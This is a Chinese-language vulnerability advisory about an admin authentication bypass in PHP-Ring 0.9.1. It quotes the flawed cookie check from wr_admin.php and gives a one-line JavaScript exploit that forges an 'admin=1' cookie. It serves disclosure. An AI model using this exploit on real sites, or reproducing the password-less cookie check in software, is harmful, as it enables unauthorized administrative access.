PHP-Ring管理员Cookie绕过认证漏洞


添加时间:
2008-10-04

系统编号:
WAVDB-01211
BUGTRAQ: 30624

影响版本:
PHP-Ring 0.9.1

程序介绍:

PHP-Ring是一个web ring系统,站点可通过webring系统增加访问量和指向站点的链接。

漏洞分析:

PHP-Ring没有安全地处理cookie。管理登录成功后,脚本会创建一个cookie显示用户所登录管理区域的剩余部分,但这个cookie不包含任何口令,因此用户可以伪造类似于合法登录的管理员cookie获得非授权访问。

以下是/admin/wr_admin.php中的有漏洞代码:

 
  1. $cookie = $_COOKIE[admin]; //check for cookie  
  2.   
  3. if (($cookie == "" OR $_GET[stop] == 1 OR !is_admin($cookie)) && $_GET[op] != "login" && $_GET[op] != "logout") {  
  4.     include("../templates/wr_header.php");  
  5.     echo "Enter admin username and password to log in";  
  6.     ....  
  7.     ....  
  8.     ..  
  9.     } else {  
  10. function adminhome() // load admin settings  


漏洞利用:

javascript:document.cookie = "admin=1; path=/";

解决方案:
厂商补丁:
PsychDaily
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.psychdaily.com/article/569/

信息来源:
<*来源:Virangar Security Team (www.virangar.net)
链接:http://www.milw0rm.com/exploits/6225
*>